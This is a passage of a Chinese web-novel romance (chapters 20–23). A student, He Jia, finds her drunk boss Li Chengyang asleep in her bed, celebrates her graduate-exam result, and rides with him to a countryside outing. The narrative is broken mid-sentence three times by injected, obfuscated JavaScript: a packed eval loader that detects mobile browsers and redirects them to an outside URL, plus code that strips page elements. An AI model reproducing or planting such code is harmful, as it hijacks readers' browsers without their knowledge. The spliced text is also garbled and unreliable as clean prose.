她伸手抚摸自己的眼睛,睫毛不算特别长,但眼睛圆亮,有小动物般的眼神。往下,鼻梁小巧挺立,弧度恰到好处。嘴巴像花瓣一样饱满,不着口红却依旧是桃粉色。 垂在她额边的头发淌着水珠,一滴一滴地划过她的脸颊。 这无疑是一副漂亮的面容,但是透露着一股难掩的稚气。 何嘉想起舒舒姐的样子,她的五官是很有攻击性的美丽,眉眼之间透露着成熟的风情。 她忽然就有点羡慕她,如果自己也和她一样,成熟一点,会不会好一些? 没有答案。何嘉轻微咬咬下唇,随手穿上外套,遮住里面单薄的睡衣。 走出洗手间,她莫约听见什么窸窸窣窣的响动,有点像布料摩擦的声音。 怎么回事? 她一下警觉起来,捏着外套朝外走了几步。 走廊里传来一阵风声,并没有其他的声音。 难道听错了? 她揪着一颗心,有些怀疑,但是回想刚才那一两秒,确实是听见了异响。 她的心脏猛烈跳动起来,全身血液都凝固在大脑里,那里有一根紧绷的弦。 走廊旁边的桌子上放了一桶筷子,她拿出其中两支抵在胸前,朝四周迅速探视几眼。 没有声音,二楼的窗户也全都关好了。 “呼。”她怀疑是自己太过紧张,又将筷子轻轻放下。 何嘉的头发还没干,发尾的水珠向下滚落,发出一声微弱的“啪嗒”声。 她一个激灵,又拿起筷子转身去看。 她住的那个房间不知何时打开了门缝。 什么? 她咬紧牙关,不记得自己刚才是不是关门了。 应该关门了吧?她一直都有随手关门的习惯。 所以门,本应该是关上的。 何嘉的心脏骤然收缩,随即在胸腔里鼓擂狂跳,震得她的耳膜和太阳穴开始隐隐作痛。 她猛然想起好几个入室杀人案,都是在夜间发生,凶手作案手法极其残暴。 不会吧?那怎么办? 那两支筷子被她紧紧攥在手心,耗尽全身三分一的力气。 她就去看一眼究竟是怎么回事,如果有坏人,那她就捅死他,就算是防卫过当也比黄泉路上要好。 想到这,她告诉自己别慌,颤着步伐推开了卧室的门。 室内静悄悄的,似乎传来一种类似呼吸的声音。 里面没有灯光,有点看不清室内的景象,但她瞟到床上多了一个黑影。那影子很大,几乎占满她的整个小床。 这是怎么回事? 她尽力不发出一点声响,趁手摸到桌子上的手机。 一个小时前,李成杨发来一条消息。 可她没时间去看他发了什么,只能打开手电筒,蹑手蹑脚地朝床边照去。 床上多了一件黑色的羽绒服,不对!她再往里一照,那件羽绒服还盖着她的被子! 准确来说,那是一个人形,床上真的多了一个人! 何嘉被这个事实吓了一跳,猛然往后一跌,手机滚在地上“哐当”一声没了光亮。 床上的人被这边的响动吵了一下,翻了个身并未醒来。 她拾起手上的筷子朝那人接近,他的呼吸越来越近。 一步又一步,她站在床边深呼一口气,突然使劲扯开那床属于她的被子,右手的筷子直直往那人插过去! 就在筷子只距离那人两公分的时候,她的手忽然僵在空中。 “诶?” 她怔住了,不敢相信自己看到了什么。 还是不相信,她飞速扭开床头的小夜灯,一阵微弱的暖光打在她的小床上,同时映照在那人的脸上。 眉眼颜色极浓,鼻梁生得高挺,嘴角似乎还有一颗小痣。 她附身凑近那人的脸,不可置信地眨了眨。 李成杨? 李成杨! 李成杨? “李成杨。”她轻轻叫了一声。 他没醒,全身笼罩着一股浓烈的酒味。 “李成杨。”她又唤他一句。 酒味飘到她身上,像躺在麦芽地里一样。 怎么会是你? 何嘉丢掉手上的筷子,在他身边静静地蹲下。 李成杨的脸颊还泛着红,轻微皱着眉,想必晚上喝了不少酒。 “不是说挺能喝的吗?今天怎么醉成这样?” 床上的人并不回应。 何嘉低头朝他靠近,呼吸轻飘飘地打在他脸上。 他的脸上两片潮红,柔和了五官的锋利,或许是因为有些难受,整个人的神情并不放松。 呼吸很沉,带着酒气的气息环绕在何嘉脸颊周围,让她觉得很痒。 她从来都没有这么近距离观察过他。 平时的他气质虽然温和,但总归是威严的,但此刻他就这么毫无防备地躺在她面前,最后那点儿距离感也消失不见。 她大着胆子又朝他靠近几厘米,甚至可以看见他的睫毛正在轻微发颤。 “李成杨?”她在他耳边低语。 对方只是偏了偏头,正好转向她的方向。 他的鼻尖划过她的侧脸,一瞬间微凉。 何嘉反应过来什么,几乎是一瞬间往后退,和他散发的热气隔开。 “你……” 小姑娘摸着侧脸失神,心脏又开始跳动,一下,又一下,绯红遍布耳垂。 不知道怎么,郑亦然说过的话突然浮现在她耳边—— “你指望得到他的真心?” 何嘉心念微动,她好像,确实有这样的想法。 “李成杨,我再给你个机会从我的床上滚下去。” 黑暗之中,她的语气气鼓鼓的,还有点不服气。 故意不礼貌,故意不客气。 然而床上的人根本没有动作,只是又一个偏头,平躺在床上。 这次何嘉没再刻意压低声响,拖鞋在地上行走的时候发出“哒哒”的动静。 她站在李成杨身边,居高临下地俯视他。 “你睡什么睡?你还睡得着?” 像一直河豚一样埋怨他,但更多的是因为在郑亦然那里受的气。 现在要尽数发泄在他这个罪魁祸首身上。 “我给你机会了,是你自己不起来的,你到时候不准凶我。” 偏始作俑者就是不理她,留她一个人在床边演独角戏。 时间静止两分钟,她忽然没了兴致。 骂你干什么呢?是我自己对你别有居心。 她一下没了脾气,蹲在他身边的时候声音软下来,“李成杨,不怪你。” 一滴水珠往下坠,跌落在他的额头。 那是她发尾未干的水渍。 她伸手小心替他拭去,指尖触摸到一片温热。 又一滴,顺着她的侧脸往下滑,坠落到他的嘴角。 那滴水珠覆盖在他嘴角那颗小痣上,晶莹剔透。 何嘉迟疑片刻,指尖划过他的嘴唇。 很柔软,带着他的体温和气息,像云朵一样的棉花糖。 她的气息呼在那里又回弹在自己脸上。 温温热热,叫人头晕脑胀。 她突然好想知道,如果…… 距离更接近了,她的指尖还停留在他的嘴角。 接着又是几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263908|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴水珠下落,滴在他的脸上。 水滴折射出夜灯的微光,在黑夜中一闪一闪。 他的睫毛颤动一下,缓缓地睁开双眼。 两人的视线沉默相交,有人乱了阵脚。 空气中的声音全都寂静,只剩下他们的呼吸。 何嘉的眼神蓦然收缩,抖着声音说了一句: “你……你,你,你晚上好?” 李成杨的眼神很淡,意识并不清醒。 他呼出一口气,下意识握住她的手腕。 “何嘉。别闹。” 声音沙哑,是她前所未闻的语调。 她愣在原地一动不动,不敢相信自己听到了什么。 手腕上的热意不减,他的手指仍停留在她的皮肤上。 何嘉的双颊涨红,眸子里有羞怯也有期待。 她很紧张,血液里的每个分子都发出警报。她提醒他:“李成杨?” 他的视线在她脸上游走一圈,像是想起什么一般,眼神骤然变暗。 “你怎么在这儿?” 声线疑惑,更像是质问。 他放开她的手腕,极其不自然地和她拉开距离。 而她还蹲在他身边,外套从肩上倾斜,露出里面的碎花睡衣。 他瞥到那点碎花,闭了闭眼又问:“你怎么在这儿?” 何嘉眼睫颤抖,非常无辜地看向他,“是你今天突然回来了,你忘记了吗?现在这里是我的房间。” 李成杨无言,十分惊愕地向她身后看了几眼。 这是二楼那间房间。现在已经不属于他了。 他用手狠狠揉了揉额头,“对不起,我今天喝多了。” “没关系。”她不敢去看他嘴角还未干涸的水珠,那暗示着她刚才想要犯罪的证据。 他却又伸手擦了擦嘴唇,指腹带下一片水渍。 不可置信地看着那点水迹,他的脸黑了三个度。 “这是什么?” 何嘉连忙摇头,慌慌张张地解释:“我什么也没做!我真的什么也没做!” 这不,还没来得及做什么人就醒了。 他咬牙逼问,“那这是怎么回事?” “是我头发上的水!”她拿起身侧的头发,“我刚洗了头还没干呢,是上面的水!不是其他地方的……” 她的发尾确实还滴着水,一滴又一滴地掉在地板上。 至于什么“其他地方的”,李成杨听着太阳穴痛。 他装作若无其事地问她:“你刚才怎么不叫醒我?” 她很冤枉:“我叫了。我叫了你不止一次,是你自己没醒。你还怪我……” 李成杨哑然,忽然就觉得良心受到了谴责。 “不好意思,是我的问题。” 小姑娘努努嘴,表示不满。 他的视线又落在她的头发上,“怎么不把头发擦干?” “我擦干了,只是还在滴水。” “……”什么逻辑? 空气中弥漫着一股尴尬的气氛,他坐立难安。 过了半秒,生硬地说:“擦不干用吹风吹一下。” 何嘉淡淡地说:“没有。” “那买一个。” “没钱。” “……”他又不说话了。 “咳。”他动了动腿,看向何嘉:“你让一让,我下去了。” “哦。”她很自觉地朝后退。 李成杨从她的小床上翻下去,站到门口。 目光瞥到床上,那里皱褶凌乱,是他睡过的痕迹。 他别扭地收回视线:“嗯……我走了,你把门锁好。” 她却有点担忧:“你喝多了能自己回去吗?要不要我帮你打个车?” “不用。把门锁好。” 他丢下这句,步伐快得像是在逃跑。 何嘉呆呆地坐回小床,不明白他这是干什么。 房间都闯了,还跑什么? 她躺在他刚才睡过的地方,被窝里残存着他的体温。猛吸一口,酒味混着他身上的气息,让她不自觉弯了弯嘴唇。 21. 第21章 李成杨到家的时候接近十二点,刚进门他就开始脱衣服,然后头也不回地冲进洗手间。 淋浴的水还没热,他目光涣散地盯着镜子里的自己。 男人的皮肤还是红的,看上去没有刚才那么明显,但依旧呈现出一种绯色。 他有些烦躁地揉了揉太阳穴,视线落到自己的嘴角处。 那片长着小痣的皮肤似乎还带着水珠的清凉,让他的心脏没来由地跳动。 就在刚刚,她的脸近在咫尺。 她的鼻息打在他脸上,热乎乎的,带着她发间的香味。 她手腕的皮肤细腻,有些滑,更多的是柔软。和他的皮肤纹理完全不同。 闭了闭眼,他走到淋浴下,热水从他的头顶倾斜而下。 他仰着头任由水珠将他冲刷。 可无论怎么,她的面容都在他的脑海里挥散不去。 她刚才是想做什么? 他讶异地想到这个问题,发现她的眼睛一直明亮。她是故意离他那么近的。 如果他再晚一秒醒来呢?她会做什么? 他开始皱眉,对今天晚上发生的事情感到恐惧。 那个一向有规矩的女孩,是从什么时候开始对他有了不一样的举动? 热水从他的胸膛一直下滑,他懊恼地抓了抓头发。 何嘉。何嘉。 她刚才靠近他的时候露出肩上的睡衣,是蓝色的碎花。 这抹碎花让他莫名想起另外一件花纹相似的东西。就在某天,他看到过的。 她住进饭店那天,他陪她买东西,那件蓝色的碎花内衣还是他帮她买的。 喉头上下滑动,他感觉身体躁动。 再猛然想起她仰头朝他微笑的样子,如此纯白、澄明,是一朵正值青春的花。 那时花朵朝他眨眼,很有礼貌地叫他“老板”。可她突然不叫他了,不,她不是不叫他了,她只是不叫他“老板”了。 她刚才不是还“你你你”地叫吗?但是恍惚之间,他又分明听她在耳边叫了“李成杨”三个字。 心中情绪震荡,最不容忽视的是一种矛盾的压抑。 他颤着手动作几下,头皮发麻。 几近罪恶的想法让他生出愧疚,他鄙视自己,他厌恶自己,但他忍不住在罪恶的欲望里沉重喘息,无法再想她纯洁的眼睛。 从这天开始,余川一直下着淅淅沥沥的小雨。 而他食言了,头一次放弃休假,直到二月的时候也没出现过。 何嘉盯着手机,他最后一次给她发的消息停留在【明后天回】,但他根本没有做到。 她猜想他是因为那天的事还在生气,鼓起勇气敲下一行消息。 何嘉:【你还在生气吗?】 隔了两秒又觉得不对,不是他回错地方了吗?他倒是生什么气? 于是她将那条消息撤回,换了一句:【最近特别忙吗?】 对面没回。 连着接下来的两天也没回复。 不过何嘉也没心思去想他的事情,因为2月3号这天是公布考研成绩的时间。 何嘉十分紧张地坐在电脑前,屏幕上的网页写着“2018年部分考生初试成绩查询”。 输好相关信息后,她手里的鼠标划到那个蓝色的“查询”按键。 深呼一口气,求祖宗大显神通庇佑信女。 她闭上眼睛按下了那个按键。 时间嘀嗒嘀嗒,她的心脏猛烈跳动。 5、4、3、2、1…… 再睁眼的时候她神色异常平静。 视线钉在总分上,373。 再往下看,思政理论70,英语78,教育综合97,历史学专业基础128。 和她预计的大差不差。 呼出一口气,她沉默地勾了勾嘴角,而后一股复杂的情绪涌上心头。一眨眼,两滴热泪划过脸颊。 她真的好久都没有因为感到高兴而落泪了,这么些年她一直为了这一刻而等待,那么多个日夜,她一个人孤军奋战,就为了这几串数字。 皇天不负有心人,终于得偿所愿。 她擦掉脸上的泪水,清了清嗓子之后给安城那边打了个电话。 接电话的人是林桂兰,“喂?小嘉?” 何嘉问她:“林姨,我阿婆现在是清醒的吗?” 林姨说:“醒着呢!昨天睡了一整天,今天精神好!到这会儿都醒着!” “那你帮我把电话递到她耳边可以吗?” “可以可以,你跟她自己说啊。” 一阵窸窣后,话筒传来轻微的呼吸。 “阿婆,你听到我讲话吗?” 对面发出几个音节,示意自己的存在。 何嘉咽了口水说:“阿婆,你记得今天是什么日子吗?今天是我考研出成绩的日子,我考的还不错哦……你猜怎么着?我考了373,你高兴吗?没有意外的话我一定可以上临昌师范的,我以后…可以做老师了。” 对面没回应,但是一旁的林桂兰听见这个消息立马笑了,“小嘉啊恭喜你!这么好的消息啊!”她又转过头对病床上的人解释:“老太太你听见了吧!你们家出了个研究生!以后还要当老师!恭喜恭喜啊!” 王丽琼的睫毛微颤,似乎眨了眨眼睛。 “jia——” “诶,阿婆。”何嘉笑着回应,泪水滑落到她嘴边的梨涡,盛起一碗清泉。 “阿婆,你要好好的啊,再撑撑看着我去读研究生啊!” 王丽琼吃力地动了动嘴巴,那是这么多天里唯一清晰可闻的一个字——“好”。 何嘉听了心里开心,一边点头一边重复:“好,好,那就好。” 挂断电话后室内回归宁静,她捂着嘴哭了好一会儿之后才平静下来。 窗外的小雨逐渐停了,云层压得很低,有两只鸟儿飞过枯枝,发出叽叽喳喳的声音。 她从二楼下去,饭店里的大伙在各自的位置上忙碌。 张姨给她打招呼:“小嘉!” 何嘉走到她身边说:“张姨来了呀!” “来来来,来吃点水果不?舒舒那儿带来的。” 何嘉很有礼貌地指着袋子里的水果,“我可以要这个苹果吗?” 一个又圆又粉的苹果躺在众多颜色饱满的苹果里,看上去并不合群。 张姨说:“这个颜色不红,换一个红点的好吃些。” 她却说:“这个好看,我喜欢这个。” 张姨笑她:“你们年轻人吃个水果还看颜值啊?还要吃好看的。” 她腼腆地笑笑:“这个可爱,我喜欢这个。” “好好好,多拿两个,再拿个红一点的!” “谢谢张姨!” 她将两个苹果捧在怀里,心里感到很温暖。这个饭店和这个饭店里的人,总是让她觉得生活也可以是充满期待的。 厨房传来一阵切菜的声音,水缸里的鱼打了个挺,夹杂着几桌顾客举杯时的哄笑。 一切有关于烟火的味道都让她治愈。 张壅出来拿佐料,路过她的时候看到她拿着两个苹果傻笑。 “你干嘛呢?有好事儿?” 何嘉开朗地问他:“你吃不吃苹果?” 他怀疑她脑子不正常:“你傻啦?” 她还是笑,并不说原因。 “你自己留着吃吧,我家苹果多得吃不完,你爱吃就多吃点。” “真的啊?苹果可是很贵的。” “真的啊,你忘了你舒舒姐是开水果店的,你要想吃了就去她那儿拿几个呗。” “嘿嘿,谢谢壅哥和舒舒姐。” 他嫌她今天太过反常,指着吧台说:“别笑了,自己去那儿找个水果刀削来吃,再笑就跟我进厨房打下手。” 她撒腿就跑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯。”他想了想,在脑海里找到那所学校的位置。 张姨在旁边听到这个消息,走过来对何嘉说:“小嘉恭喜恭喜,临昌好啊,你成杨哥哥也是从临昌读书回来的。” “噗。谢谢张姨。” 何嘉听到“成杨哥哥”的时候想笑,虽然老一辈都流行这么叫,但是她莫名觉得安在他身上就有那么一些搞笑。 李成杨听到这四个字的时候嘴角僵住,睨了一眼憋笑的某人,说:“笑什么?很好笑?” 何嘉咬住下唇,尽力憋住笑意,“没有啊,没有,一点都没有。” 他却心头火大,这小兔崽子不但一天到晚都“你你你”的,现在还敢笑他?! “何嘉。” 何嘉站好,“嗯?” “你是不是没规矩?” “嗯?我哪里没规矩?” 他朝她俯身,一字一句道:“现在也不叫人了是吧?还知道嘲笑长辈了?” 她觉得他压迫感很强,突然就不想笑了。 “我没有不叫人,我叫你了。” 这下换他冷笑,“你叫我什么?‘你、你、你’也算称呼?” 何嘉说:“我没有‘你你你’地叫呀。” 他被她气笑:“那你说,我是你长辈,你该叫我什么?” 她看了看他,又看了看旁边的张姨。 张姨才不参与他们的斗争,一个人捧着手机刷视频去了。 何嘉的视线落回他脸上,有些不确定地叫了声:“成杨叔叔?” 李成杨像被雷劈了一样看着她,下颚绷得很紧。 她以为他不满意,又试探着换了另一个称呼。 “成杨哥哥。” 22. 第22章 李成杨的眸子暗下来,沉着声说:“你再叫?” 她真的叫了:“成杨哥哥。”她就是故意的。 他已经看出她眼里狡黠的试探。简直是两天不骂,提拎甩褂。 一时间气得呼吸不畅,闷气憋在心里不上不下。 何嘉歪着头看他,实在不知道他今天到底是怎么回事。 “你今天被人投诉了吗?为什么那么生气的样子?”小姑娘问他。 他咬紧牙关,胸腔里一股接近隐忍的情绪快要喷薄而发,但他只黑着脸瞪她。 “你,从现在开始不要跟我说话。” 扔下这句话,他直接和她错开,只留她一个人在原地懵圈。 这人,今天是怎么回事? 何嘉摇了摇头。 到了吃饭的时候,李成杨故意离她坐得很远,而她偷偷打量他的表情。 他还是皱眉,整个人极其不畅快的样子,不知道在犯什么别扭。 原本是一身灰色的工作服,现在在他身上就像是杀手套装一样。 他从来都没有这么冷冽过。 张壅早察觉气氛不对,主动询问:“杨哥,你今天遇上啥事儿了,怎么不说话?” 李成杨撇他一眼,慢悠悠道:“你问什么?” “就关心你一下,感觉你吃了苍蝇一样。” 他冷哼一声:“嗯,再关心把你开了。” “不问了。”张壅夹起一颗青菜将嘴巴塞满:“看在钱的份上我就不问了。” 饭桌上陷入一片诡异的沉默。 何嘉和张姨对视一下,后者主动岔开话题。 “小嘉,今天你多吃一点庆祝一下呀。”说着替何嘉夹了一筷子排骨。“吃这个,这个排骨的位置好。” 何嘉朝她弯弯眼睛:“谢谢张姨,这个看上去好好吃啊。” 张壅正好嚼完青菜,问何嘉:“什么好事儿?中奖啦还要庆祝一下?” “不是,今天查成绩,考的还可以。” 他也给她夹了一块排骨:“哦哟恭喜恭喜!高材生了属于是,以后苟富贵勿相忘啊!” 何嘉咯吱咯吱地笑,“哪有,就一般般而已。” 李成杨突然抬头看她,何嘉被他的眼神吓了一跳,不敢笑了。 她记得他刚才说不要跟他讲话,那她还是不发出声音的好。可他啃了两块排骨之后视线一直落在她身上。 她忍不住用眼神问他:怎么了吗? 他声调平平:“恭喜。” 何嘉盯着他还是没说话,饭桌上又陷入一片诡异的沉默。 我该说话吗? 可是他说不要跟他讲话来着? 李成杨不耐烦,但又想到自己刚才确实说了某种不让她和自己讲话的语句。 “说话。”他松口。 何嘉很快地说了一句:“谢谢你。”想到什么又换了一句:“谢谢成杨哥哥。” 李成杨被呛到,“咳咳”两声又开始黑脸。这次他扔下吃了半碗的饭走了,直接坐到吧台开始玩手机。异常沉默。 饭桌上几个人面面相觑,一时间陷入头脑风暴。 李成杨拿着手机的时候心不在焉,根本就没注意屏幕上的内容。 至于那声“成杨哥哥”,真是…… 他真是,真是拿她没办法。 见他走了,何嘉凑到张壅旁边小声问:“他怎么回事?以前心情不好也这样吗?” 张壅翻了个白眼:“不知道,他有病,谁知道他犯什么神经,估计真被客户投诉了吧。” “好吧。”何嘉想八卦一下,好奇地问他:“刚才你说看在钱的份上不问了,所以他一个月给你开的工资高吗?” 张壅云淡风轻地说:“还行吧,八千多。” “什么?!”何嘉震惊,“为什么那么多?” 他指了指安叔又指了指自己:“店里就我们俩炒菜,一天到晚你知道多累?从早开始备菜,厨房里的事都归我们管,上个厕所都没时间。” 她点头:“也对。可是这么一看店里每个月成本也挺高的,除了人力还有食材呢。” “你猜除掉这些能挣多少?特别是你们学生在学校的时候,外卖单子都忙不过来。” “一两万一个月?” 他咧嘴一笑:“小嘉啊小嘉,你猜得有点保守了,做餐饮还是很挣钱滴。” “有多挣钱?” “暴利吧。” 她朝李成杨一指,“那他为什么还要送快递?” “这你就不知道了。”他低声说:“他纯属受虐狂,要我早躺平了,谁会像他一样天天给自己找不痛快,他那个工作丢件了还得自己赔钱。” “噢,这样啊,那确实有点那什么了。” 刹那间,吧台那边飞来一包纸巾,正中张壅的后脑勺。 他捂着头看向李成杨:“卧槽!你霸凌员工是吧!” 李成杨不理他,继续玩手机。 张壅转头跟何嘉骂他:“他就是一天工作太久,脑子不正常,现在就连情绪也不太稳定了,谁知道受了什么刺激。” 何嘉憋笑,但是又想到李成杨刚才不爽的样子,又不笑了。 李成杨忍着火气,出声提醒:“张壅,欠收拾?” 张壅看了李成杨一眼,忽然灵感一现:“哎杨哥!你上个月是不是没休假啊?今天怎么有时间回来了?” 李成杨无所谓地回答:“被强制休假了。” “哈哈哈。”张壅笑他:“那你从几号开始休假?” 那边说:“明天。” 张壅立马摸出手机,给冉舒打了个电话:“舒舒,杨哥最近休假,你那边忙不忙?” 冉舒说:“不忙啊,你问他空不,要不就最近几天出来聚一聚?” 张壅又转头问李成杨:“杨哥要不明天找个农家乐聚一下?” 他想了想说:“明天不行,后天可以。” “那行,后天找个农家乐玩一玩。”张壅戳了戳身边的何嘉,“小嘉你一起不?” 何嘉摆手:“不了不了,你们聚会我去不好。” 电话里的冉舒反对:“小嘉妹妹你也来啊!我们又不是什么特殊聚会,没关系的,人多热闹!” “对啊,没事的小嘉,一起就行了。”张壅附和了句,又问桌子另外一边的张姨:“妈,你们去不去?” 张姨她们都说不去,但是对何嘉说:“小嘉你们都是年轻人,去玩玩没什么呀,这边农家乐多,听说还可以骑马摸羊啥的,你们年轻人喜欢的,我们老婆婆就不方便喽!” 何嘉有点心动了,但是不确定某人有没有意见。她看向李成杨的方向,目光灼灼。 那人忙着玩手机,头也没抬,但就是心有灵犀一般回答她:“想去就去,不去拉倒。” 这就是默认了。 “我想去。”何嘉朝张壅笑笑。 “好,那就后天啊。”张壅和冉舒也说好,就这么愉快地决定了。 第二天,何嘉一直处于一种亢奋状态,一想到马上就可以骑马还可以摸到小羊就高兴,多可爱呀。 她以前都没有机会做这些事,现在不免多了一些期待,于是连工作的时候都更加卖力了。 李成杨这两天都待在店里,看她兴致勃勃的样子也没太大的表情。 临近下午的时候出了门,没有和任何人说。 车子在城市转圜几圈,最后开上高速,驶向余川的郊区。 两排松柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278078|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在路旁,场景清冷肃穆。 经过保安亭的时候里面的大叔问候他:“来了啊,今年来得勤了些。” 他“嗯”了一声,没有寒暄的意思。 放眼望去是一座座黑色的墓碑,因为是工作日没有几个人来探视。除了他,只有几棵孤高的树,被风吹得沙沙作响。 他空手走近墓山,很熟练地停在其中一个墓碑前。 一个月前他来过这里,当时是李建峰的祭日。本来一年都不愿意来看一次的人,今天不知道怎么,就想来和他待一待。数落也好,嘲讽也罢,总归是有人躺在那里听他讲话。 “你要是投胎,应该差不多有十岁了吧?” 李成杨死死盯着那人的名字,却又摇头说:“不,你这种人不可能有机会投胎。” 风声抚过他的耳畔,他伫立不动。 “你说你能猜到自己有今天吗?” “你相不相信这是报应?你当年得了那么大一场病,就是报应。你都死十年了,现在信了没?” 只剩风声,他沉默半晌。 “你的报应灵验了,不要带到我身上。” …… 他朝天空望了眼,天上是灰蓝色混着一点轻微的绿,令他突然想到一颗淡绿色的硬糖。 然后蹲在李建峰面前,和他平视。 “你,害了我妈,也害了我。你害我再也不能和她联系,也不知道她现在过得好不好,但我想她离开你之后,肯定比以前要好。还有,你害我那么多年都是一个人,也习惯了一个人。但是现在我想请问你,你以后能不能安分点?不要来梦里找我,也不要再把你身上的晦气带给我。” 默了默,他记起某人笑起来有两个梨涡。 “我有点害怕。” 不知道害怕什么,但就是这样觉得。 “我以后都不会再来看你了,你在那边过得安不安生,与我无关,你就当没我这个儿子,我也当你没存在过,就这样。” 说完这句话,他头也不回地走了。 李建峰的墓碑前空空如也,一如他住进那间墓地一样,什么都没有留下。 回到车内,他瘫在座位上眯了好一会儿,等天色快要变黑的时候才摸出手机。 那个小猫头像月初的时候问他最近很忙吗,他没有回复,一开始确实没看见,但后来是故意不回复的。他想,他们还是应该保持距离。 减少不必要的见面,减少无意义的对话,增加不可能的因素。 可是,他昨天怎么忘记了,竟然还默认她要去农家乐聚会,这让他一下子又拿不准想法了。 和她有关的一切都在失控,他以前从未犯过这种低级错误。说到底,是他的问题,他要清理那些不该发生的事情。 不再犹豫,最后假装什么也没发生。他只是异常冷静地公事公办。 【明天11点之前收拾好,我会先来店里】 却没说来店里干嘛。 何嘉收到这条消息眨了眨眼睛,很困惑。 【明天不是去农家乐玩吗?店里还有别的事情吗?】 【没有】 【那为什么要来店里?】 他很冷漠:【你想搭公交过去就直说】 噢,这是要接她一起的意思。 【好的,我会好好等你的】 他不想让她曲解意思:【我回来拿一提矿泉水,顺便带你】 【噢,我知道了】 【知道就好】倒显得有那么一些刻意。 她才不管他肚子里的弯弯绕绕,一边哼歌一边回复:【还是要谢谢你。】 又没有称呼,但这次李成杨没纠正她。没称呼就没称呼,没称呼正好显得不熟,总比那些乱七八糟的要好。 23. 第23章 出游这天天气很好,气温比两周都要高些,还难得出了些太阳。 何嘉今天今穿了一件灰色的外套,是李成杨那天和她逛超市的时候挑的。 为了和外套搭配,她将头发全都梳成马尾,觉得差点意思,又将马尾绾成一个丸子,精细挑选几根碎发修饰脸颊,然后满意地点点头。 李成杨已经抵达饭店,听见她下楼的脚步却没看她,一言不发地搬起矿泉水走出门。 何嘉跟着他走出去。 “中午好。” 他还是没看她,只回一句:“嗯”。 她猜他还在因为什么事情不愉快,站在一边看他。 他今天穿了一件藏蓝色的夹克,下面搭配卡其色的长裤,头发长长了些,整个人散发着年轻和成熟交织的气息。 那提矿泉水被他拿在手上,指尖因为用力发红。他的下颚紧锁,连带着脖子上的青筋凸起。 何嘉咽了咽嗓子,眼神直白。 他把汽车的后备箱关上,问她:“看什么?” 她说:“看你。” 他不悦地抬头,视线落在她身上。 小姑娘扎着丸子头,在阳光下暖洋洋的。脸上一尘不染,眼神里的东西却藏也不藏。 他又开始烦躁,“看个锤,上车。” 何嘉瘪嘴,听话坐上他的副驾。 他刚点上火就听旁边的人来了句:“你好凶。” “呵。”他并不想跟她说话。 她自顾自抠手,不放过他:“我刚才怎么了吗?你为什么要凶我?” 他本来没那么烦,现在倒觉得有点气了。 “我凶?你再说两句呢?” “不是吗?我真的觉得你最近好凶,就从你那晚回错……” “何嘉。”他打断她。 她闭嘴了。 “我要开车,你可以睡觉可以发呆,但是不要跟我讲话。明白吗?” 她默默点头,两人一路上真的再也没说过话。何嘉不知道他一天到晚哪有那么多气要生的。 算了,随便他。 张壅找的农家乐离饭馆并不远,不过半个小时就到达目的地。 何嘉下车的时候发现这和她理解的“农家乐”完全不一样。这里更像是一座小院,即使在冬天植被也很旺盛,到处种满绿植花草,十分惬意。 冉舒他们差不多同一时间抵达,刚下车就朝何嘉招手:“小嘉妹妹!” 何嘉也挥手:“舒舒姐!” 分明是第二次见面,她们总觉得很熟稔,此刻挽着手一起走进小院,身后两个男人忙着提东西。 张壅给李成杨打招呼:“杨哥,走呗。看你脸黑成那样,她刚才惹你不痛快了?” 这个“她”是谁不言而喻。 他轻嗤一下,“我天生不爱笑。” 张壅被他逗笑:“嗯,你天生就不爱笑~” 李成杨给他两脚。 小院的老板领他们走向户外烤肉区,已经十二点,正是吃饭的时间。 一张桌子四把竹椅,张壅自然和冉舒挨着坐,那么何嘉只好坐在李成杨旁边。 这方桌子的位置很好,旁边种了一颗香樟树,正好挡住刺眼的阳光,树稍绿意不减。 李成杨主动拿起刷子涮油,等锅热了之后放下几个鸡翅,烤盘上传来油滋的声音。 “哎李成杨,好久没见了还和以前一样啊。”冉舒跟他搭话。 他问:“什么一样?” “一样习惯照顾大家。” “有吗?” “有啊,主动烤肉的一般都习惯照顾别人。” 他很正经地说:“没有。我比较老,是长辈。” 何嘉听到这话突然瞟他一眼。 冉舒笑了:“哎我还跟你同一年的呢,你这么说我也得是长辈呢。” 他摇头:“不,你和我不一样,我是说我,是长辈。” 何嘉又看他一眼。 张壅也加入烤肉的行列。 “行行行长辈,你要照顾就照顾别人啊,我老婆我自己照顾。”他夹了一片烤好的五花肉放在冉舒碗里,又对着何嘉指了指李成杨:“你长辈,你让他照顾下。” 何嘉很不客气地指了指没烤的蘑菇,“我想吃那个。” 李成杨没好气地说:“哪个?” 她又指蘑菇:“就那个呀。” “那个是哪个?” “那个。”正中蘑菇中心,“蘑菇。” “哦,以为你不会好好说话。” 她瞪他一眼,觉得他故意挤兑她。 他夹了两个蘑菇烤在她面前,她偏不说谢谢,又指了指三月瓜,“那个,三月瓜,别称西葫芦、番瓜,我也想吃那个。” 李成杨听出她故意和他较劲,忍着脾气给她夹了几片。 又觉得气不打一处来,憋着火问她:“还要什么?一次性说完。” 